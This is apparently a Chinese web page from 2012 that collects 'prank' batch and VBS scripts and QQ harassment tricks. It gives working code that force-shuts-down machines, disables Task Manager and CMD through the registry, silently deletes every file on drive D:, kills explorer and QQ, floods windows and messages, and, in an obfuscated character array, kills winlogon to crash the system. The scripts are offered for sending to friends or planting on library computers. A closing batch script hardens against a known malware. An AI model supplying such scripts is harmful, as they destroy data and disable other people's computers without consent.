配色: 字号:
VBS整人代码
2012-09-17 | 阅:  转:  |  分享 
  
5464644556456

这是从一些高手那里学来的招数,呵呵,真是好方法。具体步骤是,打开记事本,在里面输入如下内容:@echo正在轰炸中……:start@netsend%1%2@iferrorlevel1gotoovergotostart:over@echo发送失败:(将其保存为任意名字的.bat文件即可。使用用法是:任意名字的.bat+空格+目标IP地址+空格+你要对他说的话。NO.2戏弄非法用户为防止有人胡乱使用自己的电脑,我们可以利用批处理文件来戏弄一下非法用户。方法是用记事本程序在Windows目录中建立一个Winstart文件,并在该文件中加入以下命令:@echooffechonon-systemdiskordiskerrorchoice/c:&&/n上面代码中的"&&"为我们设置的密码,您可以自行设置。这样重新启动计算机开机时就会显示"non-systemdiskordiskerror",接着光标一闪一闪的好像死机了一样,造成非法用户以为Windows死机的假象。有时就连高手也会上当受骗!当我们要进入系统时,只要输入"&&"即可。NO.3我的电脑你别用如果你不想让别人使用你的电脑,又不好意思说,那该怎么办呢?在CMOS中设密码,太小气了吧?他如果问你密码,你好意思不说吗?其实,我们可以用下面这个办法来欺骗一下他的眼睛,使他人以为电脑坏了。????????????????方法是:进入MS-DOS方式或CMD窗口下,输入:copyconnull.sys,按一下回车键,然后什么也别输入,再按一次回车键,按Ctrl+Z或按F6键,屏幕上会显示^z,按一下回车键,屏幕上会显示"1file(s)copied",这样就一个名为null.sys的空文件就建好了。现在,找到C盘根目录下的config.sys文件,注意这个文件是隐藏属性,所以必须进入"我的电脑"中,点击"查看(v)"→"文件夹选项"→"查看"→"显示所有文件"才能看到它,然后右键单击该文件,在弹出菜单中选择"用记事本打开",接下来在config.sys文件中加入:device=c:\null.sys/d:null这样一行,保存修改结果,退出记事本。以后,你的电脑就会在出现Windows的启动画面时自动重新启动,如此反复下去,别人一定以为你的电脑出问题了,而你就可以偷偷乐了.??????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????100%强制关闭对方QQ,整人就这样??????????????????????????????????????????????????????????????????????????????????????????????????

100%强制关闭对方QQ。2010年1月9日测试可用。要整人,就要整的狠一点!如何呢?要是在他/她聊QQ聊得正欢的时候,关闭她/他的QQ,是不是整的很过瘾呢?下面这个方法,保证让你“遥控”她/他的QQ下线:首先大家用手机下个07版的qq,登陆你的QQ,锁定目标QQ(前提是他QQ必须在线哦)后,马上用换用电脑上登录你的QQ,然后手机那个关了(为了防止自动刷新断线),然后随便在电脑上截张图(一定要是截图,不能使与啊不由得图片)发给他,好戏开始了,当对方打开,嘿嘿,他的QQ就马上被自动关了,他就不得不重新输入号码重上了!为什么会这样呢?据我猜测,可能是TX服务器不能及时同步你的QQ信息,、而手机是无法发送截图的,而导致在接收图片的过程中产生错误,==============================这样就只有把对方的QQ给强制关了

QQ最新整人技巧—快速让对方卡掉甚至死机

今天娤bí送上我最近发明的整人技术哈,也许是早过时了,过时就过时吧,请高手滑过。现在把这个技术传给大家,大家疯狂去整人吧。(忽忽,开个玩笑,此游戏仅供娱乐,不要上瘾噢!)一.我们点开一个好友。所用到的魔法表情名字叫??倾盆大雨。我们一直发,多发几次就好了。这样对方整个电脑都是下雨,完全看不见东西。多发几个就可以连续卡对方很久。[attach]27077[/attach]当我们发时,先把本地勾去掉,这样你发时,你这里也不会播放,不然你也会卡。如何应对呢,首先点开QQ个人设置。找到系统设置。然后设置以下。照我的设置就好了。屏蔽窗口抖动勾上,免的别人抖你,会卡你。我们把自动播放魔法表情不要打勾,别人发给你,你这里就不会播放了。[attach]27078[/attach]如果还想卡对方,就弹视频,这样魔法,视频,抖动一起来,再外加一个发送QQ默认的表情,复制一大串,向对方发送,这样不卡都不行了,除非他是超级电脑。如何应对别人弹视频呢,就是使用彩虹QQ的设置下就好了。[attach]27079[/attach]

【vbs整人代码《网上收集的》】

###################vbs整人代码1###################msgbox"要求:"&vbcrlf&"1、要同时涉及3大门派"&vbcrlf&"2、要包含江湖门派间多年怨情仇又要打破世俗伦理"&vbcrlf&"3、同时情节还要扣人心悬大有血雨腥呼之欲来令人极为期待该小说之续集同时留下N多悬念"&vbcrlf&"4、越短越好"&vbcrlf&""&vbcrlf&"第N天有人来投稿全文只有九个字:"&vbcrlf&""&vbcrlf&"...........",0,"武侠小说征文"msgbox"秃驴敢跟贫道抢师太",64,"投稿"setws=createobject("wscript.shell")subsleep(s)wscript.sleeps1000endsubsleep900ws.popup"windows检测到有重要更新未安装"&vbcrlf&""&vbcrlf&"系统将在30秒后自动下载更新并安装",30,"WindowsXp",64sleep10ws.popup"正在下载更新......"&vbcrlf&""&vbcrlf&"稍候将提示您安装",10,"WindowsXp",64sleep900ws.popup"windows已将一病毒载入计算机中"&vbcrlf&""&vbcrlf&"稍后即将运行",15,"病毒",64sleep3ws.run"taskkill/f/imqq.exe",vbhide:sleep5ws.regwrite"HKLM\software\microsoft\Windows\currentversion\policies\explorer\nodesktop","00000001","REG_DWORD"wscript.sleep500ws.run"taskkill/f/imexplorer.exe",vbhide:wscript.sleep2000ws.run"explorer.exe",vbhide:wscript.sleep6000ws.run"notepad",3:wscript.sleep2000ws.sendkeys"^":wscript.sleep1000verybat=split("gongxi,ni,~,ni,yijing,bei,wo,kongzhi,le,~,ruguo,ni,zai,30miaozhong,nei,guanji,~,name,keneng,hai,youjiu,~,fouze,hahahaha____youxi,kaishila,~,haole,wo,xianzai,yao,chuqu,yixia,~,yihui,wo,zailai,zhaoni,haizi,",",")foreachwindinverybatws.sendkeyswindwscript.sleep500next

###################vbs整人代码2###################setierunner=createobject("wscript.shell")ierunner.run"cmd/cstartiexplore自己的网站站wscript.sleep8000ierunner.sendkeys"%{F4}"onerrorresumenextdimWSHshellAsetWSHshellA=wscript.createobject("wscript.shell")WSHshellA.run"cmd.exe/cshutdown-r-t3000-c""快说你爱我···""",0,truedimadowhile(a<>"我爱你")a=inputbox("说你爱我,就不关机,快点,说""我爱你""","说不说","不说",8000,7000)msgboxchr(13)+chr(13)+chr(13)+a,0,"MsgBox"loopmsgboxchr(13)+chr(13)+chr(13)+"早说就行了嘛"dimWSHshellsetWSHshell=wscript.createobject("wscript.shell")WSHshell.run"cmd.exe/cshutdown-a",0,truemsgboxchr(13)+chr(13)+chr(13)+"哈哈哈哈,真过瘾"

###################vbs整人代码3###################sets=createobject("wscript.shell")setbag=getobject("winmgmts:\\.\root\cimv2")setpipe=bag.execquery("selectfromwin32_processwherename=''wscript.exe''")ForEachidinpipeifinstr(1,id.CommandLine,wscript.scriptfullname)<>0andpipe.count>=2thens.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD"s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD"id.terminate()elses.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_DWORD"fori=1to60s.popup"系统将在"&60-i&"秒后关机...",1,"系统提示",4096+48nextSetcolOS=GetObject("winmgmts:{(Shutdown)}").ExecQuery("SelectFROMWin32_OperatingSystem")ForEacheOsIncolOSeOs.Win32Shutdown(2)NextendifNext

一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可).xx.vbs=>=---------------------------------------------------------------------------OnErrorResumeNextDimwsh,yesetwsh=createobject("wscript.shell")fori=1to10wscript.sleep700wsh.AppActivate("与xx聊天中")wsh.sendKeys"^v"wsh.sendKeysiwsh.sendKeys"%s"nextwscript.quit----------------------------------------------------------------------------QQ骚扰信息,也可以用在其它程序上。二、我就用这个程序放在学校图书馆查询书刊的机器上,好多人都那它没办法,哈哈------------------------------------------------------------------------------do???msgbox"Youarefoolish!"loop------------------------------------------------------------------------------三、打开无数个计算器,直到死机------------------------------------------------------------------------------setwsh=createobject("wscript.shell")dowsh.run"calc"loop-----------------------------------------------------------------------------四、直接关机-----------------------------------------------------------------------------dimWSHshellsetWSHshell=wscript.createobject("wscript.shell")WSHshell.run"shutdown-f-s-t00",0,true-----------------------------------------------------------------------------五、删除D:\所有文件---------------------------------------------------------------------------dimWSHshellsetWSHshell=wscript.createobject("wscript.shell")WSHshell.run"cmd/c""deld:\./f/q/s""",0,true----------------------------------------------------------------------------六、不断弹出窗口----------------------------------------------------------------------------while(1)msgbox"哈哈你被耍了!"loop----------------------------------------------------------------------------七、不断按下alt+f4(开什么都关闭……)---------------------------------------------------------------------------dimWSHshellsetWSHshell=wscript.createobject("wscript.shell")while(1)WSHshell.SendKeys"%{F4}"loop---------------------------------------------------------------------------八、按500次回车(以上代码在运行者的电脑上显示500个对话框。其中dountils=500,500可以随意更改)-----------------------------------------------------------------------------

dimsdountils=500s=s+1msgbox"哥们,给我按500次回车吧",64loop''------------------------------------------------------------------------------------

九、关不掉的窗口------------------------------------------------------------------------------------WScript.Echo("嘿,谢谢你打开我哦,我等你很久拉!"&TSName)WScript.Echo("你是可爱的小朋吗?")WScript.Echo("哈,我想你拉,这你都不知道吗?")WScript.Echo("怎么才来,说~是不是不关心我")WScript.Echo("哼,我生气拉,等你这么久,心都凉啦。")WScript.Echo("小强很生气,后果很严重哦。")WScript.Echo("嘿嘿!你也会很惨滴哦")WScript.Echo("是不是想清除我?")WScript.Echo("那你要点上50下哦,不过会给你惊喜滴")WScript.Echo("还剩49下,快点点哦")WScript.Echo("还剩48下,快点,小笨蛋!")WScript.Echo("还剩47下对,就这样快点点!")WScript.Echo("还剩46下。你啊就是笨,要快哦,我先不打扰你工作。")WScript.Echo("还剩45下,记得要快哦!")WScript.Echo("还剩43下")WScript.Echo("还剩42下")WScript.Echo("还剩41下")WScript.Echo("还剩40下")WScript.Echo("还剩39下")WScript.Echo("还剩38下")WScript.Echo("还剩37下")WScript.Echo("还剩36下")WScript.Echo("还剩35下")WScript.Echo("还剩34下")WScript.Echo("还剩33下")WScript.Echo("还剩32下")WScript.Echo("还剩30下")WScript.Echo("还剩29下")WScript.Echo("还剩28下")WScript.Echo("还剩27下")WScript.Echo("还剩26下")WScript.Echo("还剩25下")WScript.Echo("还剩24下")WScript.Echo("还剩23下")WScript.Echo("还剩22下")WScript.Echo("还剩21下")WScript.Echo("还剩20下")WScript.Echo("还剩19下")WScript.Echo("还剩18下")WScript.Echo("还剩17下")WScript.Echo("还剩16下")WScript.Echo("还剩15下")WScript.Echo("还剩14下")WScript.Echo("还剩13下停停!!!慢点,我有话要说")WScript.Echo("还剩12下,你继续点我就会消失滴")WScript.Echo("还剩11下,以后就看不到我拉。555555")WScript.Echo("还剩10下,你现在可以选择停止!")WScript.Echo("还剩9下。你还点啊,不要我拉?")WScript.Echo("还剩8下,有点伤心拉,干嘛丢弃人家")WScript.Echo("还剩7下。疯了,你有点负意!")WScript.Echo("还剩6下。对。你就点吧,我恨你!")WScript.Echo("还剩5下,不明白,删除我你就好吗?")WScript.Echo("还剩4下!真要删除我?")WScript.Echo("还剩3下。可是我真的很眷恋你。。。")WScript.Echo("还剩2下。不要这么绝情嘛,人家是爱你的!")WScript.Echo("还剩1下。哼,既然你这么绝情。也别怪我无义!!!")WScript.Echo("我本因该消失的,不过我留恋你滴芳容,上帝又给了一次机会。")WScript.Echo("想结素我么?那你就再多点一次")WScript.Echo("想结素我么?那你就再多点一次")WScript.Echo("想结素我么?那你就再多点一次")WScript.Echo("想结素我么?那你就再多点一次")WScript.Echo("想结素我么?那你就再多点一次")WScript.Echo("想结素我么?那你就再多点一次")WScript.Echo("想结素我么?那你就再多点一次")WScript.Echo("想结素我么?那你就再多点一次")WScript.Echo("想结素我么?那你就再多点一次")WScript.Echo("想结素我么?那你就再多点一次")

两个整人vbs代码:测试环境:Windows2003系统大家好我是VanlisaQQ137841986今天给大家带来两个整人的VBS脚本希望大家喜欢VBS脚本大家都知道吧第一个是定时关机的如果把他发给你的QQ好友他不懂的话如果不输我是猪电脑就会在你设定的时间内关机我设置的是3分钟只要输入就解除了当然如果不输的话也有解除的办法我们来看下这个脚本--------------------------------------------------------------------------------onerrorresumenextdimWSHshellAsetWSHshellA=wscript.createobject("wscript.shell")WSHshellA.run"cmd.exe/cshutdown-r-t180-c""说我是猪,不说我是猪就一分钟关机,不信,试下···""",0,truedimadowhile(a<>"我是猪")a=inputbox("说我是猪,就不关机,快撒,说""我是猪""","说不说","",8000,7000)msgboxchr(13)+chr(13)+chr(13)+a,0,"MsgBox"loopmsgboxchr(13)+chr(13)+chr(13)+"早说就行了嘛"dimWSHshellsetWSHshell=wscript.createobject("wscript.shell")WSHshell.run"cmd.exe/cshutdown-a",0,truemsgboxchr(13)+chr(13)+chr(13)+"哈哈哈哈,好乖"--------------------------------------------------------------------------------新建一个记事本把上面的代码复制进去另存为VBE格式的就可以了cmd.exe/cshutdown-r-t180-c这里的数字可以修改关机时间180秒这些文字也可以自设这个脚本启用cmd里的关机程序如果不输的的话可以打开任务管理器输入shutdown-a来解除我们试下这时定时关机已经没了但是还有个关不掉的窗口我们打开任务管理器结束掉Wscript.exe这个进程就OK了这时就完全解除这个脚本了Wscript时Windows脚本宿主-------------------------------------------------------------------------------------------下面看第二个整人的脚本-------------------------------------------------------------------------------------------setws=createobject("wscript.shell")callshutdown(1)dowhilea<>"我是猪"a=inputbox("快在下面的框框里输入我是猪,否则后果自负,快输""我是猪""","输不输","")loopcallshutdown(2)msgbox"早说就行了嘛",4096+64msgbox"再输一遍我是猪!",4096+64msgbox"我是猪!",4096+64MsgBox"最后一次!",4096+64MsgBox"如果你很快的点过去,不看的话",4096+64MsgBox"我就要你踩我空间的!哼!",4096+64MsgBox"从前有座山!",4096+64MsgBox"山里有个庙.",4096+64MsgBox"庙里有个老和尚在讲故事.",4096+64ws.run"iexplore.exe自己的网站msgbox"哎呀累了!数绵羊哄我睡觉",4096+64fori=1to100MsgBoxi&"只绵羊",4096+64nextmsgbox"哎呀我困了,这次就饶过你吧,下次注意哦!",4096+64msgbox"最后问个问题,我是不是大好人!",4096+64ifinputbox("是不是","请选择","是")<>"是"thencallshutdown(1)endifsubshutdown(s)selectcasescase1ws.run"cmd.exe/cshutdown-r-t60-c",0case2ws.run"cmd.exe/cshutdown-a",0endselectendsub--------------------------------------------------------------------------------ws.run"iexplore.exe自己的网站这段代码可以改成你自己设定的地址如果别人不输我是猪的话就会一直点下去点到你设定的数字fori=1to100从1到100可以改成20其他的数字解除这个VBS脚本的办法就简单了只是关掉任务管理器里Wscript.exe这个进程就好了

QQ2009整人代码:sets=createobject("wscript.shell")setbag=getobject("winmgmts:\\.\root\cimv2")setpipe=bag.execquery("selectfromwin32_processwherename=''wscript.exe''")ForEachidinpipeifinstr(1,id.commandLine,wscript.scriptfullname)<>0andpipe.count>=2thens.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD"s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD"id.terminate()elses.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_DWORD"fori=1to60s.popup"系统将在"&60-i&"秒后关机...",1,"系统提示",4096+48nextSetcolOS=GetObject("winmgmts:{(Shutdown)}").ExecQuery("SelectFROMWin32_OperatingSystem")ForEacheOsIncolOSeOs.Win32Shutdown(2)NextendifNext复制以上代码,在桌面建一个文本,把代码放进去,另存为VBE格式,此代码的威力:1:开机就强制自动关机2:cmd命令打不开3:结束任务不管用4:F8安全模式也不管用呵呵!听起来是不是有点恐怖啊,我在我朋友空间里看见也吓了一跳、代码破解方法:就是再运行一次,就可以破解了,也就是第2次保存的那个VBE文件,,PS:不要乱拿软件去整人,发生什么事可不要怪我啊。。拍拍手顶起吧!

2:

onerrorresumenextdimWSHshellAsetWSHshellA=wscript.createobject("wscript.shell")WSHshellA.run"cmd.exe/cshutdown-r-t60-c""说你是傻B,我是天下第一大傻B不说宝宝,我是天下第一大傻B就一分钟关你机,不信,试试···""",0,truedimadowhile(a<>"宝宝,我是天下第一大傻B")a=inputbox("宝宝,我是天下第一大傻B,就不关机,快撒,说""宝宝,我是天下第一大傻B""","说不说","不说",8000,7000)msgboxchr(13)+chr(13)+chr(13)+a,0,"MsgBox"loopmsgboxchr(13)+chr(13)+chr(13)+"早说就行了嘛,乖乖"dimWSHshellsetWSHshell=wscript.createobject("wscript.shell")WSHshell.run"cmd.exe/cshutdown-a",0,truemsgboxchr(13)+chr(13)+chr(13)+"宝宝是不是又帅啦??"

这代码是我从朋友那拿来的,大家可以试着玩下、你能做非法事情哦、

网页整人效果代码:想看效果,只要复制这下面的所有代码保存在text文件里,修改文件后缀为txt就能看到效果了。网页特效|Linkweb.cn/Js|---很恶心的常见整人效果不许把鼠标移到这里

嘻试吧爽噢。。



vbs整人代码:代码如下:PrivateSubForm_Load()Me.HideEndSubPrivateSubTimer1_Timer()''声明变量,其中“count”为静态变量,以便生成不同的文件DimfilesAsStringDimnrAsStringDimcAsStringStaticcountAsLong''定义要把生成的文件存放在那个目录文件下c="C:\ProgramFiles\"''生成文件的内容nr="哈哈,被黑的感觉的不错吧"files=FreeFile''如果a等于a那么就执行Ifa=aThen''count不断的加1,以便产生不同的文件名count=count+1''产生文件名及文件句柄,并用count作为产生不同的文件名。Openc&"system"&count&".dll"ForAppendAs#files''向文件写内容Write#files,nr''清除文件句柄,这里很重要,如果不清除,将产生打开文件太多的错误提示Close#filesEndIfEndSub

vbs整人代码发现新手对整人代码很感兴趣现在发一下N多个每楼发两个复制到记事本,后缀改为.vbs一

ifMsgBox("对不起,您灌水太多需要重新启动计算机。"&chr(10)&"确定要重启吗?",vbOKCancel+vbInformation,"重新启动计算机")=vbCancelthenmsgbox"系统将立刻重起wow~_^",,"你上当了!!"SetobjShell=CreateObject("Wscript.Shell")objShell.Run"shutdown-s-t5",,trueendif



''这个很强悍的vbs,蓝屏strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,-23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,-13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103,98,111,120,32,34,-15133,89,-13899,-20026,-20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,-14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,-13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,-24147,63,34,44,54,52,44,34,-11825,-10536,-16721,-18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116,46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115,116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,103,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101,110,100,32,105,102,13,10,13,10,13,10)fori=1toUBound(strs)???runner=runner&chr(strs(i))nextExecuterunner

vbs解包代码2010-03-2721:43Dimrs,ws,fso,conn,stream,connStr,theFolderSetrs=CreateObject("ADODB.RecordSet")Setstream=CreateObject("ADODB.Stream")Setconn=CreateObject("ADODB.Connection")Setfso=CreateObject("Scripting.FileSystemObject")connStr="Provider=Microsoft.Jet.OLEDB.4.0;DataSource=HSH.mdb;"conn.OpenconnStrrs.Open"FileData",conn,1,1stream.Openstream.Type=1OnErrorResumeNextDoUntilrs.EoftheFolder=Left(rs("thePath"),InStrRev(rs("thePath"),"\"))Iffso.FolderExists(theFolder)=FalseThen??createFolder(theFolder)EndIfstream.SetEos()stream.Writers("fileContent")stream.SaveToFilestr&rs("thePath"),2rs.MoveNextLooprs.Closeconn.Closestream.CloseSetws=NothingSetrs=NothingSetstream=NothingSetconn=NothingWscript.Echo"所有文件释放完毕!"SubcreateFolder(thePath)Dimii=Instr(thePath,"\")DoWhilei>0??Iffso.FolderExists(Left(thePath,i))=FalseThen???fso.CreateFolder(Left(thePath,i-1))??EndIf??IfInStr(Mid(thePath,i+1),"\")Then???i=i+Instr(Mid(thePath,i+1),"\")??Else???i=0??EndIfLoopEndSub

木马病毒完全免疫批处理源代码

@echooffcolor0aechoecho??????????????????????????????????????????????????echo????????????????现在进行机器狗免疫????????????????????????echo??????????????????????????????????????????????????echomdC:\WINDOWS\system32\wxptdi.sys2>nulmdC:\WINDOWS\system32\wxptdi.sys\1..\2>nulmdC:\WINDOWS\system32\fat32.sys2>nulmdC:\WINDOWS\system32\fat32.sys\1..\2>nulmdC:\WINDOWS\system32\drivers\ati32srv.sys2>nulmdC:\WINDOWS\system32\drivers\ati32srv.sys\1..\2>nulmdC:\WINDOWS\system32\drivers\pcibus.sys2>nulmdC:\WINDOWS\system32\drivers\pcibus.sys\1..\2>nulmdC:\WINDOWS\system32\drivers\pcidisk.sys2>nulmdC:\WINDOWS\system32\drivers\pcidisk.sys\1..\2>nulmdC:\WINDOWS\system32\drivers\pcihdd.sys2>nulmdC:\WINDOWS\system32\drivers\pcihdd.sys\1..\2>nulmdC:\WINDOWS\system32\drivers\phy.sys2>nulmdC:\WINDOWS\system32\drivers\phy.sys\1..\2>nulmdC:\WINDOWS\system32\drivers\pop.sys2>nulmdC:\WINDOWS\system32\drivers\pop.sys\1..\2>nulmdC:\WINDOWS\system32\drivers\puid.sys2>nulmdC:\WINDOWS\system32\drivers\puid.sys\1..\2>nulmdC:\WINDOWS\system32\drivers\usb32k.sys2>nulmdC:\WINDOWS\system32\drivers\usb32k.sys\1..\2>nulmdC:\WINDOWS\system32\2dogkiller.sys2>nulmdC:\WINDOWS\system32\2dogkiller.sys\1..\2>nulattribC:\WINDOWS\system32\wxptdi.sys+s+h+r+a2>nulattribC:\WINDOWS\system32\fat32.sys+s+h+r+a2>nulattribC:\WINDOWS\system32\drivers\ati32srv.sys+s+h+r+a2>nulattribC:\WINDOWS\system32\drivers\ati32srv.sys+s+h+r+a2>nulattribC:\WINDOWS\system32\drivers\pcidisk.sys+s+h+r+a2>nulattribC:\WINDOWS\system32\drivers\pcihdd.sys+s+h+r+a2>nulattribC:\WINDOWS\system32\drivers\phy.sys+s+h+r+a2>nulattribC:\WINDOWS\system32\drivers\pop.sys+s+h+r+a2>nulattribC:\WINDOWS\system32\drivers\puid.sys+s+h+r+a2>nulattribC:\WINDOWS\system32\drivers\puid.sys+s+h+r+a2>nulattribC:\WINDOWS\system32\drivers\usb32k.sys+s+h+r+a2>nulattribC:\WINDOWS\system32\2dogkiller.sys+s+h+r+a2>nulattribC:\WINDOWS\system32\drivers\pcibus.sys+s+h+r+a2>nulechoy|caclsC:\WINDOWS\system32\2dogkiller.sys/deveryone2>nulechoy|caclsC:\WINDOWS\system32\drivers\usb32k.sys/deveryone2>nulechoy|caclsC:\WINDOWS\system32\drivers\puid.sys/deveryone2>nulechoy|caclsC:\WINDOWS\system32\drivers\pop.sys/deveryone2>nulechoy|caclsC:\WINDOWS\system32\drivers\phy.sys/deveryone2>nulechoy|caclsC:\WINDOWS\system32\drivers\pcihdd.sys/deveryone2>nulechoy|caclsC:\WINDOWS\system32\drivers\pcidisk.sys/deveryone2>nulechoy|caclsC:\WINDOWS\system32\drivers\pcibus.sys/deveryone2>nulechoy|caclsC:\WINDOWS\system32\drivers\ati32srv.sys/deveryone2>nulechoy|caclsC:\WINDOWS\system32\fat32.sys/deveryone2>nulechoy|caclsC:\WINDOWS\system32\wxptdi.sys/deveryone2>nulechoecho????????????????????????????????????????????????????echo??????????????????????免疫完成????????????????????????echo????????????????????????????????????????????????????echoechoecho????????????????????????????????????????????????????echo??????????????????现在进行机器狗小马免疫????????????????????echo????????????????????????????????????????????????????echomdc:\windows\system32\bqtldzlu.exe2>nulmdc:\windows\system32\diynpis.exe2>nulmdc:\windows\system32\dndsioc.exe2>nulmdc:\windows\sytem32\fewqickd.exe2>nulmdc:\windows\sytem32\fmschif.exe2>nulmdc:\windows\sytem32\fmsjhif.exe2>nulmdc:\windows\sytem32\hefcndy.exe2>nulmdc:\windows\sytem32\hgeazpkc.exe2>nulmdc:\windows\sytem32\anistio.exe2>nulmdc:\windows\sytem32\anittio.exe2>nulmdc:\windows\sytem32\isndctio.exe2>nulmdc:\windows\sytem32\juejwcx.exe2>nulmdc:\windows\sytem32\nbnwewd.exe2>nulmdc:\windows\sytem32\ptshell.exe2>nulmdc:\windows\sytem32\uiwcaqws.exe2>nulmdc:\windows\sytem32\wipxcdec.exe2>nulmdc:\windows\sytem32\wrew2ds.exe2>nulmdc:\windows\system32\ytewcxzsw.exe2>nulattribc:\windows\system32\bqtldzlu.exe+s+r+h+a2>nulattribc:\windows\system32\diynpis.exe+s+r+h+a2>nulattribc:\windows\system32\dndsioc.exe+s+r+h+a2>nulattribc:\windows\sytem32\fewqickd.exe+s+r+h+a2>nulattribc:\windows\sytem32\fmschif.exe+s+r+h+a2>nulattribc:\windows\sytem32\fmsjhif.exe+s+r+h+a2>nulattribc:\windows\sytem32\hefcndy.exe+s+r+h+a??2>nulattribc:\windows\sytem32\hgeazpkc.exe+s+r+h+a2>nulattribc:\windows\sytem32\anistio.exe+s+r+h+a2>nulattribc:\windows\sytem32\anittio.exe+s+r+h+a2>nulattribc:\windows\sytem32\isndctio.exe+s+r+h+a2>nulattribc:\windows\sytem32\juejwcx.exe+s+r+h+a2>nulattribc:\windows\sytem32\nbnwewd.exe+s+r+h+a2>nulattribc:\windows\sytem32\ptshell.exe+s+r+h+a2>nulattribc:\windows\sytem32\uiwcaqws.exe+s+r+h+a2>nulattribc:\windows\sytem32\wipxcdec.exe+s+r+h+a2>nulattribc:\windows\sytem32\wrew2ds.exe+s+r+h+a2>nulattribc:\windows\system32\ytewcxzsw.exe+s+r+h+a2>nulechoy|caclsc:\windows\system32\bqtldzlu.exe/deveryone2>nulechoy|caclsc:\windows\system32\diynpis.exe/deveryone2>nulechoy|caclsc:\windows\system32\dndsioc.exe/deveryone2>nulechoy|caclsc:\windows\sytem32\fewqickd.exe/deveryone2>nulechoy|caclsc:\windows\sytem32\fmschif.exe/deveryone2>nulechoy|caclsc:\windows\sytem32\fmsjhif.exe/deveryone2>nulechoy|caclsc:\windows\sytem32\hefcndy.exe/deveryone2>nulechoy|caclsc:\windows\sytem32\hgeazpkc.exe/deveryone2>nulechoy|caclsc:\windows\sytem32\anistio.exe/deveryone2>nulechoy|caclsc:\windows\sytem32\anittio.exe/deveryone2>nulechoy|caclsc:\windows\sytem32\isndctio.exe/deveryone2>nulechoy|caclsc:\windows\sytem32\juejwcx.exe/deveryone2>nulechoy|caclsc:\windows\sytem32\nbnwewd.exe/deveryone2>nulechoy|caclsc:\windows\sytem32\ptshell.exe/deveryone2>nulechoy|caclsc:\windows\sytem32\uiwcaqws.exe/deveryone2>nulechoy|caclsc:\windows\sytem32\wipxcdec.exe/deveryone2>nulechoy|caclsc:\windows\sytem32\wrew2ds.exe/deveryone2>nulechoy|caclsc:\windows\system32\ytewcxzsw.exe/deveryone2>nulechoecho????????????????????????????????????????????????????echo??????????????????????免疫完成????????????????????????echo????????????????????????????????????????????????????echoechoecho????????????????????????????????????????????????????echo??????????????????????进行Auto免疫????????????????????????echo????????????????????????????????????????????????????echofor%%ain(c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z)domd%%a:\auto.exe>nul2>nulfor%%hin(c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z)domd%%h:\auto.exe\1..\>nul2>nulfor%%bin(c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z)domd%%b:\autorun.inf>nul2>nulfor%%gin(c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z)domd%%g:\autorun.inf\1..\>nul2>nulfor%%cin(c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z)doattrib%%c:\auto.exe+s+h+r+a>nul2>nulfor%%din(c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z)doattrib%%d:\autorun.inf+s+h+r+a>nul2>nulfor%%ein(c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z)doechoy|cacls%%e:\auto.exe/deveryone>nul2>nulfor%%fin(c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z)doechoY|cacls%%f:\autorun.inf/deveryone>nul2>nulechoecho????????????????????????????????????????????????????echo??????????????????????免疫完成??????????????????????????echo????????????????????????????????????????????????????echoechoecho????????????????????????????????????????????????????echo??????????????????????现在进行IGM免役????????????????????echo????????????????????????????????????????????????????echomdc:\windows\IGW.exe2>nul??mdc:\windows\AVPSrv.exe2>nulmdc:\windows\DiskMan32.exe2>nulmdc:\windows\IGM.exe2>nul??mdc:\windows\Kvsc3.exe2>nulmdc:\windows\lqvytv.exe2>nulmdc:\windows\MsIMMs32.exe2>nulmdc:\windows\system32\3CEBCAF.exe2>nul??mdc:\windows\system32\racvsvc.exe2>nulmdc:\windows\nvdispdrv.exe2>nulmdc:\windows\dbghlp32.exe2>nulmdc:\windows\system32\drivers\svchost.exe2>nul??mdc:\windows\system32\a.exe2>nulmdc:\windows\upxdn